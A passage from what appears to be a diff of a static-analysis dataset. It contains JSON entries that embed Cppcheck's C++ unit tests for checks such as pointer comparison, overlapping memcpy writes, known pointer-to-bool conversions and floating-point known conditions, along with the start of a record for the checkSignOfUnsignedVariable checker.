{\\n\"\n \" ASSERT((int)((x & 0x01) >> 7));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9905 - expression that does not use integer calculation at all\n check(\"void foo() {\\n\"\n \" const std::string heading = \\\"Interval\\\";\\n\"\n \" std::cout << std::setw(heading.length());\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9909 - struct member with known value\n check(\"struct LongStack {\\n\"\n \" int maxsize;\\n\"\n \"};\\n\"\n \"\\n\"\n \"void growLongStack(LongStack* self) {\\n\"\n \" self->maxsize = 32;\\n\"\n \" dostuff(self->maxsize * sizeof(intptr_t));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #11894\n check(\"struct S {\\n\"\n \" int *p, n;\\n\"\n \"};\\n\"\n \"S* g() {\\n\"\n \" S* s = static_cast(calloc(1, sizeof(S)));\\n\"\n \" s->n = 100;\\n\"\n \" s->p = static_cast(malloc(s->n * sizeof(int)));\\n\"\n \" return s;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #11679\n check(\"bool g(int);\\n\"\n \"void h(int);\\n\"\n \"int k(int a) { h(a); return 0; }\\n\"\n \"void f(int i) {\\n\"\n \" if (g(k(i))) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #11889\n check(\"struct S {\\n\"\n \" int a[5];\\n\"\n \" void f(int i);\\n\"\n \"}\\n\"\n \"void g(int);\\n\"\n \"void S::f(int i) {\\n\"\n \" if (a[i] == 1) {\\n\"\n \" a[i] = 0;\\n\"\n \" g(a[i]);\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #11927\n check(\"void f(func_t func, int i) {\\n\"\n \" (func)(i, 0);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { void operator()(int, int); };\\n\"\n \"void f(int i) {\\n\"\n \" S()(i, 1);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int& r) {\\n\"\n \" g(static_cast(r = 42));\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { int i; };\\n\"\n \"void f(int i) {\\n\"\n \" const int a[] = { i - 1 * i, 0 };\\n\"\n \" auto s = S{ i - 1 * i };\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:25]: (style) Argument 'i-1*i' to init list { is always 0. It does not matter what value 'i' has. [knownArgument]\\n\"\n \"[test.cpp:4:19]: (style) Argument 'i-1*i' to constructor S is always 0. It does not matter what value 'i' has. [knownArgument]\\n\",\n errout_str());\n\n checkP(\"#define MACRO(X) std::abs(X ? 0 : a)\\n\"\n \"int f(int a) {\\n\"\n \" return MACRO(true);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void knownArgumentHiddenVariableExpression() {\n // #9914 - variable expression is explicitly hidden\n check(\"void f(int x) {\\n\"\n \" dostuff(x && false);\\n\"\n \" dostuff(false && x);\\n\"\n \" dostuff(x || true);\\n\"\n \" dostuff(true || x);\\n\"\n \" dostuff(x * 0);\\n\"\n \" dostuff(0 * x);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:19]: (style) Argument 'false&&x' to function dostuff is always 0. Constant literal calculation disable/hide variable expression 'x'. [knownArgumentHiddenVariableExpression]\\n\"\n \"[test.cpp:5:18]: (style) Argument 'true||x' to function dostuff is always 1. Constant literal calculation disable/hide variable expression 'x'. [knownArgumentHiddenVariableExpression]\\n\"\n \"[test.cpp:6:15]: (style) Argument 'x*0' to function dostuff is always 0. Constant literal calculation disable/hide variable expression 'x'. [knownArgumentHiddenVariableExpression]\\n\"\n \"[test.cpp:7:15]: (style) Argument '0*x' to function dostuff is always 0. Constant literal calculation disable/hide variable expression 'x'. [knownArgumentHiddenVariableExpression]\\n\", errout_str());\n }\n\n void knownArgumentTernaryOperator() { // #10374\n check(\"void f(bool a, bool b) {\\n\"\n \" const T* P = nullptr; \\n\"\n \" long N = 0; \\n\"\n \" const bool c = foo(); \\n\"\n \" bar(P, N); \\n\"\n \" if (c ? a : b)\\n\"\n \" baz(P, N); \\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void checkComparePointers() {\n check(\"int f() {\\n\"\n \" const int foo[1] = {0};\\n\"\n \" const int bar[1] = {0};\\n\"\n \" int diff = 0;\\n\"\n \" if(foo > bar) {\\n\"\n \" diff = 1;\\n\"\n \" }\\n\"\n \" return diff;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:15] -> [test.cpp:5:8] -> [test.cpp:3:15] -> [test.cpp:5:14] -> [test.cpp:5:12]: (error) Comparing pointers that point to different objects [comparePointers]\\n\",\n errout_str());\n\n check(\"bool f() {\\n\"\n \" int x = 0;\\n\"\n \" int y = 0;\\n\"\n \" int* xp = &x;\\n\"\n \" int* yp = &y;\\n\"\n \" return xp > yp;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:9] -> [test.cpp:4:15] -> [test.cpp:3:9] -> [test.cpp:5:15] -> [test.cpp:6:15]: (error) Comparing pointers that point to different objects [comparePointers]\\n\"\n \"[test.cpp:4:10]: (style) Variable 'xp' can be declared as pointer to const [constVariablePointer]\\n\"\n \"[test.cpp:5:10]: (style) Variable 'yp' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"bool f() {\\n\"\n \" int x = 0;\\n\"\n \" int y = 1;\\n\"\n \" return &x > &y;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:9] -> [test.cpp:4:12] -> [test.cpp:3:9] -> [test.cpp:4:17] -> [test.cpp:4:15]: (error) Comparing pointers that point to different objects [comparePointers]\\n\",\n errout_str());\n\n check(\"struct A {int data;};\\n\"\n \"bool f() {\\n\"\n \" A x;\\n\"\n \" A y;\\n\"\n \" int* xp = &x.data;\\n\"\n \" int* yp = &y.data;\\n\"\n \" return xp > yp;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:3:7] -> [test.cpp:5:15] -> [test.cpp:4:7] -> [test.cpp:6:15] -> [test.cpp:7:15]: (error) Comparing pointers that point to different objects [comparePointers]\\n\"\n \"[test.cpp:5:10]: (style) Variable 'xp' can be declared as pointer to const [constVariablePointer]\\n\"\n \"[test.cpp:6:10]: (style) Variable 'yp' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"struct A {int data;};\\n\"\n \"bool f(A ix, A iy) {\\n\"\n \" A* x = &ix;\\n\"\n \" A* y = &iy;\\n\"\n \" int* xp = &x->data;\\n\"\n \" int* yp = &y->data;\\n\"\n \" return xp > yp;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:10] -> [test.cpp:3:12] -> [test.cpp:5:15] -> [test.cpp:2:16] -> [test.cpp:4:12] -> [test.cpp:6:15] -> [test.cpp:7:15]: (error) Comparing pointers that point to different objects [comparePointers]\\n\"\n \"[test.cpp:5:10]: (style) Variable 'xp' can be declared as pointer to const [constVariablePointer]\\n\"\n \"[test.cpp:6:10]: (style) Variable 'yp' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"bool f(int * xp, int* yp) {\\n\"\n \" return &xp > &yp;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:1:14] -> [test.cpp:2:12] -> [test.cpp:1:23] -> [test.cpp:2:18] -> [test.cpp:2:16]: (error) Comparing pointers that point to different objects [comparePointers]\\n\",\n errout_str());\n\n check(\"int f() {\\n\"\n \" int x = 0;\\n\"\n \" int y = 1;\\n\"\n \" return &x - &y;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:9] -> [test.cpp:4:12] -> [test.cpp:3:9] -> [test.cpp:4:17] -> [test.cpp:4:15]: (error) Subtracting pointers that point to different objects [subtractPointers]\\n\",\n errout_str());\n\n check(\"bool f() {\\n\"\n \" int x[2] = {1, 2}m;\\n\"\n \" int* xp = &x[0];\\n\"\n \" int* yp = &x[1];\\n\"\n \" return xp > yp;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (style) Variable 'xp' can be declared as pointer to const [constVariablePointer]\\n\"\n \"[test.cpp:4:10]: (style) Variable 'yp' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"bool f(const int * xp, const int* yp) {\\n\"\n \" return xp > yp;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(const int & x, const int& y) {\\n\"\n \" return &x > &y;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int& g();\\n\"\n \"bool f() {\\n\"\n \" const int& x = g();\\n\"\n \" const int& y = g();\\n\"\n \" const int* xp = &x;\\n\"\n \" const int* yp = &y;\\n\"\n \" return xp > yp;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A {int data;};\\n\"\n \"bool f(A ix) {\\n\"\n \" A* x = &ix;\\n\"\n \" A* y = x;\\n\"\n \" int* xp = &x->data;\\n\"\n \" int* yp = &y->data;\\n\"\n \" return xp > yp;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:10]: (style) Variable 'xp' can be declared as pointer to const [constVariablePointer]\\n\"\n \"[test.cpp:6:10]: (style) Variable 'yp' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"struct S { int i; };\\n\" // #11576\n \"int f(S s) {\\n\"\n \" return &s.i - (int*)&s;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:19]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\", errout_str());\n\n check(\"struct S { int i; };\\n\"\n \"int f(S s1, S s2) {\\n\"\n \" return &s1.i - reinterpret_cast(&s2);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:9] -> [test.cpp:3:12] -> [test.cpp:2:15] -> [test.cpp:3:43] -> [test.cpp:3:18]: (error) Subtracting pointers that point to different objects [subtractPointers]\\n\",\n errout_str());\n\n check(\"struct S { int a; int b; };\\n\" // #12422\n \"int f() {\\n\"\n \" S s;\\n\"\n \" return &s.b - &s.a;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void unusedVariableValueTemplate() {\n check(\"#include \\n\"\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" class Hash\\n\"\n \" {\\n\"\n \" public:\\n\"\n \" std::size_t operator()(const A& a) const\\n\"\n \" {\\n\"\n \" (void)a;\\n\"\n \" return 0;\\n\"\n \" }\\n\"\n \" };\\n\"\n \"};\\n\"\n \"namespace std\\n\"\n \"{\\n\"\n \" template <>\\n\"\n \" struct hash\\n\"\n \" {\\n\"\n \" std::size_t operator()(const A& a) const noexcept\\n\"\n \" {\\n\"\n \" return A::Hash{}(a);\\n\"\n \" }\\n\"\n \" };\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void moduloOfOne() {\n check(\"void f(unsigned int x) {\\n\"\n \" int y = x % 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:13]: (style) Modulo of one is always equal to zero [moduloofone]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" for (int x = 1; x < 10; x++) {\\n\"\n \" int y = 100 % x;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int i, int j) {\\n\" // #11191\n \" const int c = pow(2, i);\\n\"\n \" if (j % c) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void sameExpressionPointers() {\n check(\"int f(int *i);\\n\"\n \"void g(int *a, const int *b) {\\n\"\n \" int c = *a;\\n\"\n \" f(a);\\n\"\n \" if (b && c != *a) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void checkOverlappingWrite() {\n // union\n check(\"void foo() {\\n\"\n \" union { int i; float f; } u;\\n\"\n \" u.i = 0;\\n\"\n \" u.i = u.f;\\n\" // <- error\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (error) Overlapping read/write of union is undefined behavior [overlappingWriteUnion]\\n\", errout_str());\n\n check(\"void foo() {\\n\" // #11013\n \" union { struct { uint8_t a; uint8_t b; }; uint16_t c; } u;\\n\"\n \" u.a = u.b = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // memcpy\n check(\"void foo() {\\n\"\n \" char a[10];\\n\"\n \" memcpy(&a[5], &a[4], 2u);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (error) Overlapping read/write in memcpy() is undefined behavior [overlappingWriteFunction]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" char a[10];\\n\"\n \" memcpy(a+5, a+4, 2u);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (error) Overlapping read/write in memcpy() is undefined behavior [overlappingWriteFunction]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" char a[10];\\n\"\n \" memcpy(a, a+1, 2u);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (error) Overlapping read/write in memcpy() is undefined behavior [overlappingWriteFunction]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" char a[8];\\n\"\n \" memcpy(&a[0], &a[4], 4u);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"_Bool a[10];\\n\" // #10350\n \"void foo() {\\n\"\n \" memcpy(&a[5], &a[4], 2u * sizeof(a[0]));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (error) Overlapping read/write in memcpy() is undefined behavior [overlappingWriteFunction]\\n\", errout_str());\n\n check(\"int K[2];\\n\" // #12638\n \"void f(int* p) {\\n\"\n \" memcpy(&K[0], &K[1], sizeof(K[0]));\\n\"\n \" memcpy(&K[1], &K[0], sizeof(K[0]));\\n\"\n \" memcpy(p, p + 1, sizeof(*p));\\n\"\n \" memcpy(p + 1, p, sizeof(*p));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int K[2];\\n\"\n \"void f(int* p) {\\n\"\n \" memcpy(&K[0], &K[1], 2 * sizeof(K[0]));\\n\"\n \" memcpy(&K[1], &K[0], 2 *sizeof(K[0]));\\n\"\n \" memcpy(p, p + 1, 2 * sizeof(*p));\\n\"\n \" memcpy(p + 1, p, 2 * sizeof(*p));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (error) Overlapping read/write in memcpy() is undefined behavior [overlappingWriteFunction]\\n\"\n \"[test.cpp:4:5]: (error) Overlapping read/write in memcpy() is undefined behavior [overlappingWriteFunction]\\n\"\n \"[test.cpp:5:5]: (error) Overlapping read/write in memcpy() is undefined behavior [overlappingWriteFunction]\\n\"\n \"[test.cpp:6:5]: (error) Overlapping read/write in memcpy() is undefined behavior [overlappingWriteFunction]\\n\",\n errout_str());\n\n // wmemcpy\n check(\"void foo() {\\n\"\n \" wchar_t a[10];\\n\"\n \" wmemcpy(&a[5], &a[4], 2u);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (error) Overlapping read/write in wmemcpy() is undefined behavior [overlappingWriteFunction]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" wchar_t a[10];\\n\"\n \" wmemcpy(a+5, a+4, 2u);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (error) Overlapping read/write in wmemcpy() is undefined behavior [overlappingWriteFunction]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" wchar_t a[10];\\n\"\n \" wmemcpy(a, a+1, 2u);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (error) Overlapping read/write in wmemcpy() is undefined behavior [overlappingWriteFunction]\\n\", errout_str());\n\n // strcpy\n check(\"void foo(char *ptr) {\\n\"\n \" strcpy(ptr, ptr);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:5]: (error) Overlapping read/write in strcpy() is undefined behavior [overlappingWriteFunction]\\n\", errout_str());\n }\n\n void constVariableArrayMember() { // #10371\n check(\"class Foo {\\n\"\n \"public:\\n\"\n \" Foo();\\n\"\n \" int GetVal() const { return m_Arr[0]; }\\n\"\n \" int m_Arr[1];\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void knownPointerToBool()\n {\n check(\"void g(bool);\\n\"\n \"void f() {\\n\"\n \" int i = 5;\\n\"\n \" int* p = &i;\\n\"\n \" g(p);\\n\"\n \" g(&i);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:7]: (style) Pointer expression 'p' converted to bool is always true. [knownPointerToBool]\\n\"\n \"[test.cpp:6:7]: (style) Pointer expression '&i' converted to bool is always true. [knownPointerToBool]\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" const int* x = nullptr;\\n\"\n \" std::empty(x);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" const int* x = nullptr;\\n\"\n \" std::empty(const_cast(x));\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A { bool x; };\\n\"\n \"bool f(A* a) {\\n\"\n \" if (a) {\\n\"\n \" return a->x;\\n\"\n \" }\\n\"\n \" return false;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A { int* x; };\\n\"\n \"bool f(A a) {\\n\"\n \" if (a.x) {\\n\"\n \" return a.x;\\n\"\n \" }\\n\"\n \" return false;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:17]: (style) Pointer expression 'a.x' converted to bool is always true. [knownPointerToBool]\\n\", errout_str());\n\n check(\"void f(bool* b) { if (b) *b = true; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f() {\\n\"\n \" int* x = nullptr;\\n\"\n \" return bool(x);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:17]: (style) Pointer expression 'x' converted to bool is always false. [knownPointerToBool]\\n\", errout_str());\n\n check(\"bool f() {\\n\"\n \" int* x = nullptr;\\n\"\n \" return bool{x};\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:17]: (style) Pointer expression 'x' converted to bool is always false. [knownPointerToBool]\\n\", errout_str());\n\n check(\"struct A { A(bool); };\\n\"\n \"A f() {\\n\"\n \" int* x = nullptr;\\n\"\n \" return A(x);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:14]: (style) Pointer expression 'x' converted to bool is always false. [knownPointerToBool]\\n\", errout_str());\n\n check(\"struct A { A(bool); };\\n\"\n \"A f() {\\n\"\n \" int* x = nullptr;\\n\"\n \" return A{x};\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:14]: (style) Pointer expression 'x' converted to bool is always false. [knownPointerToBool]\\n\", errout_str());\n\n check(\"struct B { virtual void f() {} };\\n\" // #11929\n \"struct D : B {};\\n\"\n \"void g(B* b) {\\n\"\n \" if (!b)\\n\"\n \" return;\\n\"\n \" if (dynamic_cast(b)) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool (*ptr)();\\n\" // #12170\n \"void f() {\\n\"\n \" if (!ptr || !ptr()) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(bool b[2]);\\n\" // #12822\n \"void f() {\\n\"\n \" bool b[2] = {};\\n\"\n \" g(b);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void iterateByValue() {\n check(\"void f() {\\n\" // #9684\n \" const std::set ss = { \\\"a\\\", \\\"b\\\", \\\"c\\\" };\\n\"\n \" for (auto s : ss)\\n\"\n \" (void)s.size();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:15]: (performance) Range variable 's' should be declared as const reference. [iterateByValue]\\n\",\n errout_str());\n check(\"void f() {\\n\" // #13696\n \" struct T {\\n\"\n \" std::string name;\\n\"\n \" UnknownClass member;\\n\"\n \" };\\n\"\n \"\\n\"\n \" const std::set ss;\\n\"\n \" for (auto s : ss)\\n\"\n \" (void)s.name;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:8:15]: (performance) Range variable 's' should be declared as const reference. [iterateByValue]\\n\",\n errout_str());\n }\n\n void knownConditionFloating()\n {\n check(\"void foo() {\\n\" // #11200\n \" float f = 1.0;\\n\"\n \" if (f > 1.0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:2:16] -> [test.cpp:3:11]: (style) The comparison 'f > 1.0' is always false. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void foo() {\\n\" // #13508\n \" float f = 1.0;\\n\"\n \" if (f > -1.0) {}\\n\"\n \"}\\n\");\n TODO_ASSERT_EQUALS(\n \"[test.cpp:2] -> [test.cpp:3]: (style) The comparison 'f > -1.0' is always false.\\n\",\n \"\",\n errout_str());\n\n check(\"void foo() {\\n\" // #13506\n \" float f = 1.0;\\n\"\n \" if (f > +1.0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:2:16] -> [test.cpp:3:11]: (style) The comparison 'f > +1.0' is always false. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void foo() {\\n\"\n \" float f = 1.0;\\n\"\n \" if (f < +1.0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:2:16] -> [test.cpp:3:11]: (style) The comparison 'f < 1.0' is always false. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void foo() {\\n\" // #11200\n \" float pf = +1.0;\\n\"\n \" if (pf > 1.0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:2:18] -> [test.cpp:3:12]: (style) The comparison 'pf > 1.0' is always false. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void foo() {\\n\" // #13508\n \" float pf = +1.0;\\n\"\n \" if (pf > -1.0) {}\\n\"\n \"}\\n\");\n TODO_ASSERT_EQUALS(\n \"[test.cpp:2] -> [test.cpp:3]: (style) The comparison 'pf > -1.0' is always false.\\n\",\n \"\",\n errout_str());\n\n check(\"void foo() {\\n\" // #13506\n \" float pf = +1.0;\\n\"\n \" if (pf > +1.0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:2:18] -> [test.cpp:3:12]: (style) The comparison 'pf > +1.0' is always false. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void foo() {\\n\"\n \" float pf = +1.0;\\n\"\n \" if (pf < +1.0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:2:18] -> [test.cpp:3:12]: (style) The comparison 'pf < 1.0' is always false. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void foo() {\\n\" // #11200\n \" float nf = -1.0;\\n\"\n \" if (nf > -1.0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:2:18] -> [test.cpp:3:12]: (style) The comparison 'nf > -1.0' is always false. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void foo() {\\n\" // #13508\n \" float nf = -1.0;\\n\"\n \" if (nf > 1.0) {}\\n\"\n \"}\\n\");\n TODO_ASSERT_EQUALS(\n \"[test.cpp:2] -> [test.cpp:3]: (style) The comparison 'nf > 1.0' is always false.\\n\",\n \"\",\n errout_str());\n\n check(\"void foo() {\\n\" // #13508\n \" float nf = -1.0;\\n\"\n \" if (nf > +1.0) {}\\n\"\n \"}\\n\");\n TODO_ASSERT_EQUALS(\n \"[test.cpp:2] -> [test.cpp:3]: (style) The comparison 'nf > +1.0' is always false.\\n\",\n \"\",\n errout_str());\n\n check(\"void foo() {\\n\"\n \" float f = 1.0f;\\n\"\n \" if (f > 1.00f) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:2:16] -> [test.cpp:3:11]: (style) The comparison 'f > 1.00f' is always false. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void foo() {\\n\" // #13508\n \" float f = 1.0f;\\n\"\n \" if (f > 1) {}\\n\"\n \"}\\n\");\n TODO_ASSERT_EQUALS(\n \"[test.cpp:2] -> [test.cpp:3]: (style) The comparison 'f > 1' is always false.\\n\",\n \"\",\n errout_str());\n\n check(\"void foo() {\\n\"\n \" float f = 1.0;\\n\"\n \" if (f > 1.00) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:2:16] -> [test.cpp:3:11]: (style) The comparison 'f > 1.00' is always false. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void foo() {\\n\" // #13508\n \" float f = 1.0;\\n\"\n \" if (f > 1) {}\\n\"\n \"}\\n\");\n TODO_ASSERT_EQUALS(\n \"[test.cpp:2] -> [test.cpp:3]: (style) The comparison 'f > 1' is always false.\\n\",\n \"\",\n errout_str());\n }\n\n void knownConditionPrefixed()\n {\n check(\"void foo() {\\n\"\n \" int i = 1;\\n\"\n \" if (i < +1) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:2:13] -> [test.cpp:3:11]: (style) The comparison 'i < 1' is always false. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void foo() {\\n\" // #13506\n \" int i = 1;\\n\"\n \" if (i > +1) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:2:13] -> [test.cpp:3:11]: (style) The comparison 'i > +1' is always false. [knownConditionTrueFalse]\\n\",\n errout_str());\n }\n};\n\nREGISTER_TEST(TestOther)\n" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckOther/checkSignOfUnsignedVariable.json b/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckOther/checkSignOfUnsignedVariable.json new file mode 100644 index 0000000..36a43ff --- /dev/null +++ b/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckOther/checkSignOfUnsignedVariable.json @@ -0,0 +1,22 @@ +{ + "name": "checkSignOfUnsignedVariable", + "language": "cpp", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "cpp", + "loc": 26, + "branches": 10, + "apis": 23, + "test": [ + { + "description": null, + "expected-problems": 1, + "expected-linenumbers": [ + 8742 + ], + "code": "\n/*\n * Cppcheck - A tool for static C/C++ code analysis\n * Copyright (C) 2007-2025 Cppcheck team.\n *\n * This program is free software: you can redistribute it and/or modify\n * it under the terms of the GNU General Public License as published by\n * the Free Software Foundation, either version 3 of the License, or\n * (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with this program. If not, see .\n */\n\n#include \"checkother.h\"\n#include \"errortypes.h\"\n#include \"fixture.h\"\n#include \"helpers.h\"\n#include \"platform.h\"\n#include \"settings.h\"\n#include \"standards.h\"\n\n#include \n#include \n\nclass TestOther : public TestFixture {\npublic:\n TestOther() : TestFixture(\"TestOther\") {}\n\nprivate:\n /*const*/ Settings _settings = settingsBuilder().library(\"std.cfg\").build();\n\n void run() override {\n mNewTemplate = true;\n TEST_CASE(emptyBrackets);\n\n TEST_CASE(zeroDiv1);\n TEST_CASE(zeroDiv2);\n TEST_CASE(zeroDiv3);\n TEST_CASE(zeroDiv4);\n TEST_CASE(zeroDiv5);\n TEST_CASE(zeroDiv6);\n TEST_CASE(zeroDiv7); // #4930\n TEST_CASE(zeroDiv8);\n TEST_CASE(zeroDiv9);\n TEST_CASE(zeroDiv10);\n TEST_CASE(zeroDiv11);\n TEST_CASE(zeroDiv12);\n TEST_CASE(zeroDiv13);\n TEST_CASE(zeroDiv14); // #1169\n TEST_CASE(zeroDiv15); // #8319\n TEST_CASE(zeroDiv16); // #11158\n TEST_CASE(zeroDiv17); // #9931\n TEST_CASE(zeroDiv18);\n TEST_CASE(zeroDiv19);\n TEST_CASE(zeroDiv20); // #11175\n TEST_CASE(zeroDiv21);\n TEST_CASE(zeroDiv22);\n\n TEST_CASE(zeroDivCond); // division by zero / useless condition\n\n TEST_CASE(nanInArithmeticExpression);\n\n TEST_CASE(varScope1);\n TEST_CASE(varScope2);\n TEST_CASE(varScope3);\n TEST_CASE(varScope4);\n TEST_CASE(varScope5);\n TEST_CASE(varScope6);\n TEST_CASE(varScope7);\n TEST_CASE(varScope8);\n TEST_CASE(varScope9); // classes may have extra side-effects\n TEST_CASE(varScope10); // Undefined macro FOR\n TEST_CASE(varScope11); // #2475 - struct initialization is not inner scope\n TEST_CASE(varScope12);\n TEST_CASE(varScope13); // variable usage in inner loop\n TEST_CASE(varScope14);\n TEST_CASE(varScope15); // #4573 if-else-if\n TEST_CASE(varScope16);\n TEST_CASE(varScope17);\n TEST_CASE(varScope18);\n TEST_CASE(varScope20); // Ticket #5103\n TEST_CASE(varScope21); // Ticket #5382\n TEST_CASE(varScope22); // Ticket #5684\n TEST_CASE(varScope23); // Ticket #6154\n TEST_CASE(varScope24); // pointer / reference\n TEST_CASE(varScope25); // time_t\n 